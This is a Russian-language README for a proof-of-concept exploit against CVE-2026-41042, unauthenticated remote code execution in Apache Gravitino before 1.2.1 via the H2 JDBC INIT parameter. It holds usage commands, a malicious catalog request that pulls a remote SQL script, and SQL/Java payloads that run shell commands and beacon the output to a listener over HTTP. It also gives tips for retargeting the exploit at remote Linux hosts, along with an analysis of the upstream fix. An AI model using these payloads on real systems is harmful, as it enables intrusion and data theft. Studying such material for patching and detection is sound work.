
Эксплуатирует RCE без аутентификации в Apache Gravitino < 1.2.1 через H2 JDBC INIT; размещает SQL/Java пейлоады, выполняет команды и экфильтрирует результаты через HTTP-маяк.
Автономный proof of concept, использующий только стандартную библиотеку, для CVE-2026-41042: неаутентифицированное удалённое выполнение кода в Apache Gravitino до версии 1.2.1 через параметр подключения H2 JDBC INIT. Никаких заголовков аутентификации, дополнительных драйверов и pip install.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
Скрипт раздаёт SQL-пейлоад и beacon вывода, отправляет запрос testConnection и напрямую печатает stdout команды.
CVE присвоен 2026-07-08, автор находки — Junjie Li (Сианьский университет). Это первый публичный рабочий PoC для данной проблемы. PoC от Akinlabi.
| Уязвимые | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Исправлено | 1.2.1 |
| Бюллетень | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 поставляется в libs/ Gravitino в качестве бэкенда entity-store по умолчанию, поэтому драйвер H2 уже находится в classpath сервера. Для работы эксплойта не требуется разворачивать дополнительный драйвер.
POST /api/metalakes/{metalake}/catalogs/testConnection (ресурс Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, возвращает application/vnd.gravitino.v1+json) принимает CatalogCreateRequest. Значение properties.jdbc-url передаётся в фабрику подключений провайдера каталога без какой-либо проверки JDBC-драйвера.
Использование встроенного драйвера H2 (org.h2.Driver) вместе с параметром подключения H2 INIT выполняет произвольный SQL в момент установки соединения, а CREATE ALIAS компилирует и запускает произвольный Java-код на сервере. Эта конечная точка не требует аутентификации.
Требования: Python 3, только стандартная библиотека.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Опция | По умолчанию | Описание |
|---|---|---|
target | (обязательно) | Сервер Gravitino, например http://127.0.0.1:8090 |
--metalake | test_ml | Metalake, в котором будет тестироваться каталог |
--cmd | whoami | Команда для выполнения на цели |
--port | 9000 | Локальный порт для HTTP-сервера пейлоада и beacon |
Примеры:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Если metalake не существует, сначала создайте его (эта операция также не требует аутентификации):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 с двумя маршрутами: /poc.sql отдаёт сгенерированный пейлоад, /beacon?out=... перехватывает вывод команды.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC выполняет команду и возвращает её stdout в виде строки; BEACON экфильтрует результат на listener через HTTP; скрипт опрашивает beacon до 5 секунд и печатает вывод.
jdbc-mysql (checkJDBCDriverVersion) срабатывает после инициализации соединения, поэтому ошибка косметическая: INIT уже выполнился. Путь ошибки — это и есть путь выполнения.При каждом запуске генерируется новое случайное имя in-memory базы данных (secrets.token_hex(6)), поэтому алиасы H2 не сохраняются между запусками, и каждое выполнение детерминировано.
Тот же вредоносный jdbc-url работает и через POST /api/metalakes/{ml}/catalogs, который возвращает HTTP 200 и сохраняет H2 INIT URL в конфигурации каталога. Любая последующая операция, принудительно устанавливающая соединение, запускает выполнение в момент инициализации:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Обе точки входа проходят через один и тот же путь initialize() -> DataSourceUtils.createDataSource, поэтому исправление 1.2.1 закрывает обе.
DataSourceUtils.createDataSource теперь блокирует H2 URL и драйверы (коммиты 84d3de9c7c / 5daabcd0e, проверено в дереве 1.3.0):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode выполняет URLDecoder до 5 раз, поэтому percent-кодирование префикса не обходит проверку. JdbcUrlUtils.validateJdbcConfig (также вызывается из createDBCPDataSource) дополнительно блокирует заведомо небезопасные параметры MySQL/MariaDB/PostgreSQL (autoDeserialize, allowLoadLocalInfile, socketFactory и подобные).
Попытки обхода тестировались на реплике этой проверки с реальным H2 1.4.200: ведущие и завершающие пробелы, percent-кодирование в 6 и более проходов, трюки с регистром и табами, трюки с суффиксами и не-JDBC провайдеры. Чистого обхода не найдено; вектор H2 в 1.2.1 выглядит надёжно закрытым.
Apache оценивает эту уязвимость как низкую, ссылаясь на то, что H2 предназначен только для разработки/тестирования, а Gravitino обычно используется во внутренних сетях. Установка по умолчанию противоречит этому:
testConnection и createCatalog не требуют аутентификации, когда gravitino.authorization.enable=false, а это значение по умолчанию0.0.0.0:8090Реалистичная оценка по CVSS v3.1: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), при условии сетевой достижимости порта Gravitino.
127.0.0.1. Это соответствует лабораторной среде, где атакующий и цель находятся на одном хосте. Для удалённой цели замените ссылки на 127.0.0.1 в make_payload() и exploit() на IP вашего listener.cmd.exe /c (Windows-лаборатория). Для целей на Linux замените строку new String[]{"cmd.exe", "/c", cmd} на /bin/sh -c.createCatalog в этом скрипте не автоматизирован; используйте ручной запрос выше.Только для авторизованного тестирования безопасности и исследовательских целей. Все описанные методы были разработаны и проверены в локальной лаборатории. Использование этого инструмента против системы, которая вам не принадлежит, может быть незаконным в вашей юрисдикции.